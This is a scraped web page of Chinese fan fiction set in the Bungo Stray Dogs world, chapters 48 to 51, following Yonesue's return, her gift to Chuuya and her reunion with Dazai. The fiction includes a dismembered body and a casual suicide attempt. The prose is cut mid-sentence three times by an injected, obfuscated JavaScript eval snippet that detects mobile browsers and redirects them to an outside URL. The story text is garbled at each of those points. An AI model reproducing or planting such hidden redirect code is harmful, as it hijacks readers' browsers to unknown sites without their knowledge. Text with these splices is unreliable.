虽然发来消息的人遮遮掩掩,语焉不详,但可能是那个人发来的一点消息,她也不会错过。 与谢野晶子没有继续说下去,转口道,“这孩子身上发生了什么事?他身上为什么有改造的痕迹?” 她说着,表情逐渐正色,切换到了侦探社工作的状态。 永末没有回答,反而往晶子先前等待的地方看了一眼,那边墙壁后遮掩了身形的和服剑士察觉到了她的视线,转而大方地踏出脚步。 与谢野晶子对跟她一起的社长被发现也只是话语一顿,表情依旧很坦然,毕竟她不可能任由自己踏入可能的陷阱。 “我想……拜托你们……”永末收回视线,把目光落在手中的战利品身上。 战利品本人已经在接受了治疗之后茫然地重新睁开了眼睛,他有点惊喜,又有些迷茫地露出来笑容。 跟命运的这局,是她赢了吧? 不论如何,一个活人还能被命运轻易抹杀掉吗? 我想把他送给中原中也,那个是否为人的答案,就是给中也最终的礼物。 我想带他去见中也……那样未来…… 但没有任何声音被吐出。 小少年的脸上逐渐浮现出了害怕和担心,他一下摔倒在了地上,却猛地伸手想去拉住什么。 “等等……!你……?”与谢野晶子也对她伸手,似乎想触碰她发动能力。 永末从他们的反应里边意识到了。 为什么,为什么在现在?为什么是这个时候被时间线弹出? 不……只能是在这个时候。 宛如见到朝阳的小美人鱼,眼前的蓝发少女,已经如同泡沫一般,瞬间消失在了他们跟前。 …… “铛。”易拉罐被进来的成员踢在了羊基地的大门之上,声音惊动了思考着什么的中原中也。 中也猛地抬头,向外看去,但进来的的并不是他正在想的那个人。 尚夏好像离开了好几天了,但还没有回来的迹象……中也有点担心她是不是遇到什么危险了。 ……应该没问题吧。他转念一想,暂时抛开这件事,从基地围墙上轻松跃下。 毕竟尚夏看起来不是会食言的那种人。 48.第48章 “沙沙。”刀刃切割着什么黏黏糯糯东西的声音不断响起,如果配着这个声音继续闭眼睡觉的话,总有种会做噩梦的预感。 刚刚完成登录的永末睁开眼睛,目光本能地移向传来动静的方位。 坐在床边的人低着脑袋奋力跟手中的苹果进行着搏斗,发誓要把这只不知死活的苹果剥皮削骨,场面之激烈,连头上的侦探帽在往下滑都没有察觉。 永末稍有不解,觉得自己应该认识对方。但她感觉自己的脑子好像刚刚惨遭摇匀,回想什么都朦朦胧胧的,她努力挖掘了几下才倒出了对方的名字。 “小侦探……乱步?” “诶——啊!再等我一下。”江户川乱步发出了被上课点名的单音,似乎不觉得她的苏醒有什么意外之处地看了一眼,就重新低头。 他严肃认真地挖下最后一块果肉,这才仿佛完成一件超严肃的人生大事一样松了口气。 一只被削得完全辨认不出物种,不过按照常理推断大概是兔子或者猫的苹果块,被他一脸自得地递到了她跟前。 “探病的话,还是需要给病人切水果的吧……”从手艺上看大概是第一次践行这种安慰病人方式的小侦探说着,毫不客气地直接把成品投喂到病人嘴边。 病人……对……这个地方好像是医院。 为什么重新登录游戏,会被刷新在这里? 疑惑掠过脑海,永末迟疑一秒,决定忽视掉苹果被这样摧残还能不能吃的问题,一口叼住了乱步给出的好意。 她一边嚼嚼嚼,一边含糊地询问道,“魏尔伦……嗯……怎么样了……?” 她隐约想起来先前离开时的情况,但不确定回归的时间点。 事实上在这次登录前,她已经进行过几次失败的登录,但要么选择的时间线被排斥了,要么就是登录到太早或者太迟的时间。想要精确地回归到离开的那一秒,似乎是不可能的事情。 ……差点以为要永远迷失在群星之间了。 “啊!那件事情已经平息了!”江户川乱步拍了拍手上的汁液,把脑袋往病床的护栏上一搁。 “唔……魏尔伦犁过一遍横滨之后被港口mafia击败,不知所踪……”江户川乱步一边说着,一边前后摇晃起凳子,“因为港口mafia好像轻而易举地就解决了这场事件,有点规模的组织这段时间都先蛰伏下来了,你原先的悬赏涉及港.黑也因此被隐藏了。” “作为第一个遭遇他后的幸存者,有人把你剩下的身体部分送到了医院。”他说着,伸手比出一个长度,好像永远都能清楚她在想什么地解释道,“已经过去有半个月了哦,距离你昏迷的时间。” “……这样吗?事情已经结束了?”永末顿了一下,“那我……” “那你也必须先留在侦探社一段时间。”小侦探抢先一步说道,“这家医院跟政府有关系,短时间不会有谁找上你。” 永末露出不解的表情,隐约有所猜测,但江户川乱步没有解释的意思。 他反而开始很郑重地,仿佛在端详什么一样地仔细观察起她,脸上逐渐出现了生动的不高兴。 “是那个时候啊!”他指责道,用一连串的抱怨打断了永末将出口的问题,“怎么去找晶子都没有来找我?把我完全忘掉了吗?要是那个时候来见我,我就能早点认识你了!” “……到底从哪里看出来的。”就算再看一万遍,永末也得对江户川宛如翻阅剧本的观察力表示叹服,她按下了关于自己的某些问题,一如既往地先落点在了最关注的事情之上。 “那么……名侦探大人既然都清楚……三年前没说完的那个委托,我还想继续进行……”永末合掌拜托道,“那个孩子,现在怎么样了?” …… “任务完成。”随着身后建筑物的塌陷,掩埋掉了敌对组织的某个据点,本次袭击行动的负责人,中原中也,双手插着兜背对着那边出来,没有回头地说道。 他任由地面震动带落的尘灰落在身上,身侧浮现的微弱红光挥去了一切阻碍。 “今天没有其他行动了,中也大人,接下来要去哪里?”在附近等候的属下快步上前,替他拉开港.黑接送的车辆车门。 在魏尔伦酿造的事件结束之后,琐碎的小任务经由森首领的安排,逐渐填满了中也的时间,也让他没有余裕去思考之前的事情,仿佛某种温柔又残酷的体贴。 永末尚夏……重逢的旧友,遭遇了魏尔伦的袭击,之后就一直处于失踪状态。 虽然明面上是这么说明的,但□□内部的结论是,她没有可能活下去。 而中原中也知道,那个时候到底发生了什么…… “尚夏,到底在哪里?”在陪着太宰在战斗后的废墟里头翻找了几十分钟后,中原中也对于他的沉默实在是忍耐不住了,再度提出了这个问题。 “啊,找到了。”好像发现了什么宝物一样,太宰露出了颇为欢欣的笑容,从废墟里边捡起了什么。 “……喂!青花鱼,你到底有没有在……”听我说话! 不耐的声音在看清他捡起了什么之后戛然而止,太宰轻巧地把一截断指塞进了袋子里边。 虽然断裂处好像被什么撕扯过一样,但从血污中残余的皮肤依旧白皙,手指纤细小巧……毫无疑问属于女性。 ……不会的。不可能是。理智还在排斥,某种沉重的恐惧已经降临。 太宰恹恹不乐,又好像更多只是无所谓地扫了一眼乍然沉默的中也,“……这不是正在带你找吗?” ……恋爱能把人谈疯是吗? 在太宰支离破碎地拼出了三分之一个“永末尚夏”,并且表示要把她送进医院抢救之后,中也的理智之弦已经彻底崩溃了。 “你疯了吗?……异能力也不能恢复这种程度的伤势……而且你都已经碰过……人死掉就是死了!是我的错,之前明明说过会保护她的,但却没有做到……我不允许你玩弄她的尸体!” 中也去抢夺那个袋子的手却被太宰强硬地拦住了。 在他的怒视下,太宰好像在说什么真理一样格外庄重地说道,“她没有死。” 太宰这个混蛋到底在想什么,中原中也觉得他在说什么狗屁不通的疯话,但太宰居然信誓旦旦,“等到这些身体部分互相长好……变成一个完全的小夏小姐之后,她就会回来的。” “现在重要的是……这件事,得瞒着森先生哦。”太宰治抽走变得一动不动的中也手中的口袋,举止自若地对他挥手作别,“关于原因,你自己知道的吧?” …… ……疯了吧。全都疯了吧。明明应该……至少给她进行葬礼的,当时突然相信太宰,任由他带走尸体的自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206767|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底在想什么啊! 就算现在回想起来,中原中也都不能理解当时的自己。 但在内心深处,他居然并没有特别的真实感,他总觉得永末尚夏只是跟三年前一样突然不告而别一样,说不定就会在什么时候再度不期而遇。 “滴。”比如此刻。 中也随意扫过一眼收到新信息的手机,整个人好像突然凝固了一下,在进车门之前停住了。 “中也大人?”边上的属下谨慎地出声提醒,目光不敢扫过半点屏幕,而被提醒的中也如梦初醒般动弹了一下。 “……去哪里?中也大人。”看到中原中也呆滞地看着他没说话,属下冷汗直冒地再度出声。 “去……不,今天不用跟着我了。”中也改口道,他身上隐约的红光闪了一闪。 下一秒,属下口中的“是”还没有说出口,眼前已经失去了他的身影。 “……是错觉吗?中也大人好像高兴起来了……” …… 时隔多年的礼物,在相隔着约定、失约、死亡和重逢之后,终于还是被送到了中也的手中。 而他终于也可以亲眼确认自己到底收到了什么“需要准备很久”,“你绝对不会拒绝”的礼物……那是…… 一个活体人类。 “……这难道可以被当作‘礼物’吗?”中也大为震撼,“……还有你为什么会比我高啊!” 橙色的头发都是燃烧般的热烈,蓝色的眼睛清澈地可以映出彼此的存在……但很遗憾,原型比中也高了大概10cm……单纯这一点就让他们比起复制体更像是兄弟。 “所以让我来见到他就是你的心愿……?”曾经的小少年,现在比永末和中也都高一个头的男生悄声说道,用有点好奇又有点期待的目光看向了中也。 在脱离了实验室的环境后,本身只拥有使用就会诞生特异点异能力的他被侦探社更改了身份,送去了外地半工半学地回归学校,现在已经考上了高中,这次还是因为救命恩人的请求选择踏入横滨。 “他的存在应该可以证明你的怀疑吧,你不是一直觉得自己不是……”永末开口解释道,对于自己是否改变了某个人的悲剧结局毫不在意。 “等等!等等!”中原中也立即打断了她,以免她给无辜人士留下“自己难道才是非人类的那个实验品”的人生疑问。 他长长地叹了一口气,虽然又开始感觉熟悉的无奈,心情倒是轻盈许多,“……你其实送给我一个真的……‘兄弟’了啊……最近找我认弟弟的家伙还真是多……” 永末不置可否,“他已经选择离开横滨,你们之后也许不会有很多相处机会……有想说的话,别留遗憾?” 说着,她自觉礼物已经送达,对于煽情和兄弟谈话没有任何兴趣,也没有必要再留下来,便撇开两人往拐角的地方走去。 “等等,尚夏!”中也本能地叫住了她。 听见中也的声音,已经转到街角,似乎随时就会淹没在人群中的身影回过头,一如既往的面无表情,只是直直地看向他。 即使暂时不能继续成为同伴……还能再见到,还能说出告别的话,真是太好了。 最好的礼物,在见到之前,他已经收到了。 “确实是很好的礼物!”中也笑着说道,“让人完全不能拒绝。谢谢你,尚夏!” 49.第49章 永末对着案件的档案说明,一行行迅速地录入电脑,直觉突然告诉她,似乎谁在路过她的时候慢下了脚步。 她顺着对方的视线抬头……利落的短发、金属蝴蝶发卡、接近葡萄色泽的瞳孔正笑着看她。 与谢野晶子捧着一只装满日用品的购物纸袋在她身侧,似乎刚刚从便利店那边购物回来。 “……晶子小姐?”永末感觉到微弱的不解,更让她不理解的是对方突然像哄小孩一样从纸袋里边摸出了一盒薄荷黑巧,放在了她的手边。 这段在侦探社帮忙的时间她很少见到对方。 作为武装侦探社的御用医生,以永末的时装效果,压根不存在需要见到她的场合……单就熟悉程度来说,永末其实不觉得自己跟对方存在有如此良好的私交。 虽然心里甚是迷惑,永末倒也没有推拒的意思。 她其实有点怀疑是自己这段时间太过空闲,随机拉取一个摸鱼的社员、呃或者文员去顺吃美食街的活动被发现了……所以才会被当作什么奇妙的吉祥物投喂。 不过作为回报,她还是立即提问了,“……谢谢?晶子小姐,是有什么事需要帮忙吗?” 与谢野晶子被她生涩的反应问住了,有时候她会觉得永末像是某个社会化程度只做过部分的机器人偶,对于接纳别人的好意这块格外缺失。 但与谢野的社交技巧没有永末这么贫瘠,而且要说疑问的话,她是有一个问题一直没能问对方,只是一直没能寻找到什么好的时机。 “最近没什么大事,只有警局请教乱步先生的那些小案子,尚夏不是正在帮忙归档吗……不过要说近期侦探社有什么安排的话…… 你要跟我一起去见一见新社员吗?” 永末闻言,理所当然地径自起身,似乎打算就此变成对方的背后小挂件。离开的时候她信手按下锁屏,剩下的工作被她直接甩给了脑内的系统。 其实这些工作内容对她而言只是在打发时间,真的要有效率,系统做完的时间不会超过一秒。 相比之下,最近反而是工作以外的一些异常在困扰着她。 在回归到正常的时间线后,永末最近总感觉到某种隐约的空无,好像不知不觉丢失了什么。 这种异常最明显的一次是跟中也的最后一次见面。 她知道自己不习惯任何的煽情时刻,明明应该有所触动的时刻,她会产生“理智上可以理解,感情上毫无波动”的出戏感,但……先前相处的几个月,她已经接纳了对方作为朋友,为什么偏偏在那个时候感受到了格格不入,想要转身离开。 不能理解,这次的对象是自己。 明明之前想要让中也能解除烦恼,发自内心地笑起来的心情是真的;明明为此而做出努力,从准备的过程里边感觉到的满足也是真的;明明已经相识超过半年时光,从这份友谊里边得到的温暖也是真的……为什么偏偏在最后的时候,她却好像对结果已经没有感觉了呢? 就好像曾经抓在手中感受过的,自己对对方的友谊,突然哪里都找不到了。 “……尚夏?”耳边的呼唤重新拉回了思绪,永末蓦然回视出声的人。 在安放完日用品之后,她们转道去往电梯井,往下的电梯中人员进进出出,有某个时刻正好只有她们两人。 与谢野在她直勾勾的目光下,伸手捋了捋耳后的发丝,同时拨开了她的视线落点,“我是在说,你还记得我们的第一次见面吗?” 这很难不记得……虽然对于眼前的女性来说是三年前,接近四年之前,但对于永末来说只是几天前。 她直白道,“……我突然失踪那次吗?” 与谢野好像从她的坦白中理解了什么,微微朝她俯身,染着唇彩的嘴唇贴近了她一点,永末从她的表情中解读出了认真。 “是的,尚夏。你当初拨打的那个号码,是从哪里得到的?我应该只告诉过一个人。” “……是对晶子来说,很重要的人吗?” “应该说是吗?”与谢野一怔,不过很快变作洒然一笑,她的姿态中已经有专属于大人的那种,对于过往经历的从容,“只是答应过会不管是谁来求助都帮他一次?” “……如果还有别的,就是想知道他到底怎么样了……仅此而已吧。”毕竟当初他几乎耍了整个常暗岛和日本政府……事后还直接失踪了……虽然似乎这些年一直有隐约的活动传闻,但到底是死是活,她一无所知。 ……未来的我,会变成对于她来说的重要之人吗?这个念头轻微拨动了永末的心弦。 “没有问过乱步大人吗?”永末问道,很快在晶子无奈的微笑中领悟了,“……时机不到,还是别的理由不能解答?乱步大人在奇怪的地方还是很有保密的意识呢。” “是好的结果吧。”说完玩笑话,永末迅速正色了,“虽然我的了解不多,只是得到了他的帮助,但是,既然在那个时候他还能恰如其分地伸出援手,至少他的安危尚且不用担心。” “比起那些,我还是更想知道……晶子小姐跟他曾经发生了什么,有机会的话,还请告诉我吧。” …… 最后还是没有被带去见到新社员,在电梯半路,没来上班的文员小姐打来了电话,说遇到了连环车祸,侦探社的医生义不容辞地被借去帮忙了。 “所以是要我一个人去见新人的意思吗?”永末觉得不太可能,她还没清楚自己在侦探社的定位呢……应该介于外包和兼职之间?对正式社员具有考察性质的工作轮不到她来做吧? “……尚夏没准备留下来吗?”晶子反而露出了意外的表情,但永末还没来得及细问,人命关天的医生已经丢下一句“你可以的!”就匆匆出发了。 ……侦探社对人的信任度是不是有点太高了?难道是默认所有人都是好人吗? ……她在这里打工的这几周难道不是单纯地因为没事干在打发时间,顺便报答一下侦探社吗? 永末深感宇宙猫猫,而更坏的消息还在后头。 “乱步先生打了电话,说他刚好查完了案子,可以去看一眼新人。”文员跑下来跟她汇报道。 这个没有问题。 “他说拐过一条街的饭馆就是……所以!他是一个人出发的……!” 这个也……等等,这就有大问题了! “他出发了多久了?”永末沉默两秒,问道。 “五分钟。”文员小姐一脸沉痛,对她点头。 好的足够名侦探迷路了。永末默默在心里更新了当前任务,把【去捡一个名侦探】的优先级排在了【去见社内新人】之前。 …… “……先说好,我没有迷路!”江户川乱步抢先说道,“你看,这位就是新人先生!我已经在路边捡到了!” 永末没有纠正他到底是谁捡到谁,在他身边,被他垫脚搭着肩膀的红发少年呆了一下,很单纯地接话道,“嗯……我被捡到了。” 永末发现他的时候,名侦探已经有点丧气地跟自己的小披风一道坐成一团,累得不得了了还记得等在有监控的地方。 明明是红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218232|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发少年路过他的时候,倒了几步回去的。 但是……该说不说,这个人有点脸熟啊。 “……先回侦探社去吧,或者去那边咖啡店聊?”永末把路上随手买的蓝莓包塞进名侦探的手中,又扫了新人君好几眼。 三人迈出回程的脚步后,她有点忍不住了,“我们是不是在哪里见过?” “织田作之助。”最初跟少女有过一回照面的好心人提醒道,但看到少女脸上那种“这是谁”的表情越演越烈,他原先存在的惊讶逐渐被微弱的无语取代,最后都融化在他读不出表情的脸上。 【……就是那个!那个我们刚刚登录见到的,超麻烦的家伙!】系统都憋不住提醒了。 永末终于从犄角旮旯里边扫出了对他的记忆,她恍然大悟,“所以……之前说的新人就是你吗?” “是指我吗?”红发少年脸上也出现了微小的困惑,“……是有人推荐我来侦探社工作,听说这里缺人手,工作内容说不定很适合我……所以我就过来了。” “是哦!被‘好心路人’推荐过来的新人社员!社长知道之后就叫我来看一眼。” 江户川乱步接话道,他仿佛解明了一切真相,只是全不在意,“如果你也愿意留下来,这个季度就是侦探社的大丰收了!” ……指她之前错过的那个offer吗?永末真的有点惊讶看向江户川。 他有点信口一问的意思,眼睛还是半眯着的,语气却很笃定,“是哦,我是说,留在侦探社。不是暂时的那种。” 黑夜,还是白天,全新的选项再度出现在她面前。 ……没有不答应的理由。 虽然没有明确的公布,但之前她对港.黑隐瞒异能力,又卷入了悬赏事态,身上具备了太多的疑点,再回归港口mafia的话,不知道会被森首领怎么裁定罪责……又要付出多少,被利用到什么程度才能得到“宽恕”。 离开港.黑……把“永末尚夏”的过往以死亡的方式抛下,离开横滨算是一种选择;被侦探社收留,在侦探社的庇佑之下,成为社员是另一种选择。 这段时间她度过得安逸、和平,照顾着她的侦探社的大家也都是好人。 为什么不选择更轻松的那个地方呢? 但在应答出口前,某种隐约的、古怪的……被指引感,同时出现在了永末的心里。 这一切存在前提条件……需要那个人,太宰,对她的行踪不做追究。 如果他有所安排的话…… 不,不对。 他已经安排过了。 为什么会出现在和侦探社有关的医院……为什么会很顺利地被接纳在侦探社……为什么乱步会很放心似乎不担心任何报复……种种片段乍然闪过脑海。 “……这也是他的想法吗?让我留在侦探社……”永末好像理解了,但仿佛又坠入了更深的迷雾之中,“嗯,算是一种另类的‘放我一马’吗?” 江户川乱步“唔”了一声,眼睛略微睁大了一点。 永末看到那片翠色轻轻地波动了一下,好像戳一下就会流淌下来。 他总是先一步就能读到结局,反倒是局中人执迷不悟。 “这段时间,承蒙大家照顾。我过得很开心……但我,好像没办法这么做。”说话的人用柔软的声音说出了最后一次拒绝。 光明的、平静而精彩的、属于白日的坦途就在跟前,大门已然开放。 但门前的玩家做出了选择,“抱歉啦,名侦探大人……我还是想选择有他的那一边。” 50.第50章 距离暗杀王事件一个半月后,港口mafia,顶层首领办公室。 “看来是被相信了……调查团,大概还会滞留多少天呢?太宰君……最近可真是辛苦了。” 犹如丝绸一般光滑的声调从神经上缓慢拉过,宛如手指检阅着琴弦。 太宰没有特意把目光偏转向首领,也能察觉到那种若有若无的视线感,他不用特别伪装自己的情绪,只让那种好几天没有好好休息的疲倦感直白地表露出来就可以了。 “不出所料的话,下周就能结束对欧洲使团的接待吧。英国方面到底对横滨没有那么了解,现在的结论也是我们想看到的。”他随意地接话道,“不会有人发现的……魏尔伦的下落。” 让太宰有几分意外,又好像毫不意外的,那道注视着他的目光这次停留的时间有点长了,而降临在他们间的沉默也拉长了。 太宰不想继续装作没发觉那份窥视的目光,便看向了视线的来源。 森鸥外的脸上并非惯常暧昧不明的微笑,他左手还搭在摆出睡着姿势的爱丽丝发间,脸上居然有几分货真价实的担忧,仿佛真的是个体贴入微的老师,“太宰……没关系吗?” 关于超越者事件的余波还在发酵,太宰层层相扣,宛如阅读了剧本般,用诸多异能力者设下的陷阱,居然真的让超越者深陷其中,这让他在这次事件后越发声名鹊起。 但让港口mafia这段时间颇有点低气压的……是他传说中的恋人,在这次事件中死在了魏尔伦手中。 不管是意外的失误……还是她本身就是他抛出的“诱饵”,在获得足够的成果之后被放弃了,哪种可能性都让这段时间的港.黑成员对他有点噤若寒蝉。 ……但没想到,森鸥外也听到、并且听信了这份谣言。 太宰瞳孔微动地在森首领仿佛真的忧虑的表情上打了个转,也如出一辙地做出了无辜不解的表情,“森先生在说什么呢?” “弃子”是森鸥外常用的手段,太宰早已领教过,不管是旗会,还是织田作的事,在悄无声息之间地被权衡之间,他就会拈起棋子丢到合适的地方,掠夺利益,饲喂死亡。 ……明明早在安排的时候就这样教导了,现在为什么又做出一副担心他因为“恋人之死”而受伤的样子呢? 既然不相信他真的存在恋情……为什么在推动了这一切后,却真的有点担心他因此而跟港.黑离心呢? 太宰百无聊赖地想着,但他也完全清楚,这不过只是猜疑和试探的借口而已。 其实这段时间的港.黑,表面上风平浪静,内里颇有一点暗流涌动。 太宰当然理解森首领的计划,原本他应该借由这次事件清洗掉老首领留下的派别,又把中也身边聚拢的、比起首领更重视他的“旗会”一并扫下棋盘,只留下单方面具备智和武的,互相平衡的“双黑”作为自己的棋子。 但现在,虽然港.黑的实力大增,但不安定因素反而增加了。 不管是他身边因为恐惧和威名聚拢起来的翼附,还是中也身边拱卫他的“旗会”,连新收留的魏尔伦也肉眼可见地比起港.黑更重视中也……如果再按照原计划继续“双黑”的搭档,那么反倒是顶端的“首领”要变得危险了。 中也说不定还以为这段时间零碎的小任务是在给他整理时间的心情吧。太宰有点嘲弄地想着,但这只不过是在下手切分他身边人之前的中场休息而已。 ……为什么在另一个世界中没有发觉呢?太宰表情不变地想道。 也许是自我欺骗,也许是想真的见到屠刀落下那一刻才肯死心吧。 但没想到森先生真的存在一点“老师”的善心,没有实现他想死的心愿,反倒让这份代价叫别人承担了。 这次森先生倒不算杞人忧天……他是真的打算去做他所担心的事情。 在阴谋和血腥篡夺得到的位置,也在阴谋和血腥中被推翻,那不是很有意思吗? 太宰转完了不能被森首领知道的念头,脸上也随着浮现出了虚伪的微笑,“啊~如果是森先生觉得这段时间大家都累惨了的话……等送走使团,我可以得到一个假期吧?” “……唔。”在办公桌边的首领立即收起了担忧的表情,假惺惺地说道,“没办法,组织里边可用的人才还是太少了。果然只有太宰君能让我放心托付这些事了。” “诶——”还没等太宰接着说出什么,森鸥外已经斩钉截铁地略过了这一节。 “……不过,做了事就应该得到奖励。”森鸥外语调极其轻松地一转,仿佛没有任何用意,“听说太宰君原本居住的公寓也在这次事件中被毁掉了,等事情结束,再去选几个新的地方吧。” …… 毫无用处的奖励。 离开顶层办公室的时候太宰这么想道,在敷衍了森首领后他也没什么再待下去加班的意思,直接拐出大门朝“家”的方向走去。 一路上遇到的黑西装们不管之前什么表情都做出肃容,即使不清楚他的去向,也没有任何人前来问询。 太宰是不介意使用组织里头的车辆的,对于公器私用他本身就有一套灵活的道德标准,但在想独自回“家”的时候除外。 虽然说起来是“家”,其实不过是他一个人居住时的习惯地点,在不需要跟人一起居住之后,他就又搬回了原来的住地,就算是收到了新的屋子也不过是空置而已。 他一路上缓慢地晃荡回去,遇上了歪脖树还停了半小时思考要不要就地再尝试一下拥抱天国,鉴于没带靠谱的绳子他便随意地尝试了一下绷带的特殊应用,跟风一起飘荡了几分钟后惨遭迫降,还不幸摔伤了胳膊。 ……普通且不幸的一天。 太宰什么表情都没有,心里也没想着什么地在目的地前停下了脚步。 一望无际的垃圾场。 空气中弥散着腐臭的味道,恶劣的空气侵染着每一次呼吸,仿佛在用微弱的火焰灼烧着呼吸道,行走在其中的时候,鞋底会踩上类似泥巴一样的污秽,于是连走动都会带起新的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16245768|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 污秽。 所谓的“家”就在其中,被遗弃在里头的铁皮集装箱正对着回家的主人敞开大门。 没有人会觉得堂堂的港.黑准干部会居住在这种地方,也从没有谁会涉足此地来找寻他。但这个选择并非为了安全,这里糟糕的环境本身就会破坏里头居民的健康。 但太宰偏偏选择了这里,他还特意在集装箱里加装了简陋的家具。 如果要问原因的话……垃圾本身就应该待在垃圾场,睡在跟他内里存在一样的地方,这怎么不是一种“回家”呢? 但这次,轻微的异样感扣响了他放空的思绪。 太宰在垃圾场边缘对着里头的“房子”发了几分钟的呆。 在望向那边,仿佛一直沉浸于自己思绪的时候,他的腿好像有自己意识那样在慢慢后退着,仿佛随时会变成夺路而逃。 但猛地,他好像如梦初醒一样回了神。 太宰摆出了什么意味都没有的笑脸,一边缓慢地把之前解下来的绷带绕回刚刚结痂的手腕上,让它做回了治疗的本职工作,一边好像真的存在隐形肉垫那样,从一堆塑料空瓶和铁皮块中悄无声息地踏过,无声地贴到了门口。 集装箱的门没有关上,但他早上离开的时候是关过的。 ……有人在等待他。 这个人有恃无恐,知道即使不告而来,他也不会因为隐私被人触犯而在事后进行报复,也不会选择避而不见。于是她连遮掩也不打算做,就这么堂而皇之地宣告了: “我在这里,来见我。” 那么这个人是谁,已经非常……非常明显了。 漆黑一片的简陋房间里头,最先映入眼中的还是如同月光一般流泄而下的长发,水蓝色的月色铺开在中央的座椅之上,永末尚夏就坐在房间正中,明明应该是主人所坐的位置之上,她单手叩着手中的长刀等待着,羽织如同垂云悬挂。 跟之前那次见面一样……跟之前每次见面一样,仿佛时间永远不会在她身上划下痕迹。 太宰确认自己的脚步没有暴露自己,但她还是如有所感地抬起眼睛,精确地捕捉到了他的存在。 “……”这种心情应该叫什么呢?太宰没有立即说话,事实上他感觉连做惯了的笑脸也很难维系住。 应该是糟糕的心情吧,面对着被他往死亡陷阱里边推下去过一次的苦主欸,说不定是找他来算账什么的,也许会像中原中也那样事后把他打进医院住个几天……? 但为什么仿佛有什么轻浮的重量落了地,而另一种更轻盈的心情充满了胸口,简直让他想要立即变成气球飞走。 明明好不容易才在各种理由的推动下选择放手的……明明她应该是理解的才对。 现在、未来都绝对不要再出现在他面前。这样的警告,明明已经转达了才对。 太宰摆出没用的微笑,声音里边一点颤音都不存在,平和地好像不像他的声音。 “……为什么还要回来?还有什么理由要回来?小夏小姐?” 51.第51章 “你不是应该觉得我一定会回来才对吗?”盒中的少女说着,用绝对平静的目光看向他,仿佛只是提出了最简单的问题。 “花费了这么多力气养成的小鸟,打开笼子放掉,不是为了叫它学会自己回来的意思吗?” 她用好像不理解的语气问道,在他不由得止步不前的时刻,泰然自若地起身朝他走来,也许是漆黑的环境使然,居然带出了一点隐约流露的强势。 “还是说,操心师也有把握不准的事情呢?” 填充了心房的轻盈,在少女幽灵一样贴近他的时刻,逐渐变成了某种战栗的感觉,又在这份回答中变成了沉沉坠下的隐痛。 于是太宰的微笑反而变得更加虚无且生动了。 有吗?没有吗? 他真的没有……笃定会在某一天,见到自己出现在他跟前的小夏小姐吗?不能确定呢。 但同样不能笃定的是,她一定会回到他身边……即使是操心师也有在见证之前无法确定的选择题。 推动她离开的心情,也是真实的。 那个瞬间,他愿意承认小夏小姐的选择,并且不管代价如何……都永远不打算反悔。 “就算是我,也会偶尔做点计划外的事情吧?” 不管听者会不会相信,其实不打算说出的辩解,自行溜出了口中,像是融化在这腐烂的空气中一样虚伪。 …… 怎么是这个反应?好像他真的介意她的有端猜疑一样。 在一秒钟前,太宰还好像是被黏在门口的飞虫,好像随时都会剧烈挣扎着逃走,但在她跟他的距离只剩下两步之时,他居然先一步踏入门中,自顾自地望向了她的眼睛,在奇怪的重点上发出了辩解。 不过就算他突然变成飞蛾就地飞走也没关系,玩家永远不会弄丢攻略对象。永末平和冷静地想道。 永末没有回答,任由这句话变成集装箱外边随处可见的东西,一并滚落在他们之间,只是停下步伐,对着近在咫尺的对方伸出了手。 很有意思,没有躲避,但也没有主动靠近,仿佛在隐藏着什么的一动不动。 好像真的伸手就能抓到呢。 永末想着,绕开门口堵路的人,伸手掩上了门。 “咔哒。”黑暗还没让眼睛适应,电路的开关已经被按下了,人造的光线从集装箱的顶部均匀地洒下,把盒中的人类照得彼此洞彻。 “……不好意思,太宰君,总觉得这样才是更适合谈话的场合。” 永末没有多加掩饰,也没有那种必要,她终于完全地把视线和注意力,都再度落在好久未见的“恋人”身上。 ……和她想象中,完全不一样的重逢。 因为光线的缘故……还是场合的缘故呢?……也说不定是因为太宰好像长高了几公分,现在的她居然要抬起头才能跟他对上视线。 蓬松的头发虚虚贴在耳边,脸色苍白更甚往昔,似乎有几分隐约的疲色,原本像是小孩子的脸颊也褪去可爱的圆润,第一眼看去居然让人有点陌生感。 不过这份陌生也迅速消融在太宰那张写满了“现在不想说人话欸”的笑脸里边。 ……是错觉吗?他是不是在邀请我揍他两拳?永末微妙地想道。 “毕竟我刚刚遭遇过‘只是出趟门,恋人就开始避而不见,之后又在完全没想到的地方遇到了’这种事情,留下了一点心理阴影……而且,现在还不应该被港口mafia发现我,对吧?” “我以为……‘恋人’的游戏已经结束了。”太宰微微抖动睫毛,用格外轻柔的声音回应,“小夏小姐,应该是明白的吧?” “一见钟情什么的,一开始就是谎话啦。” 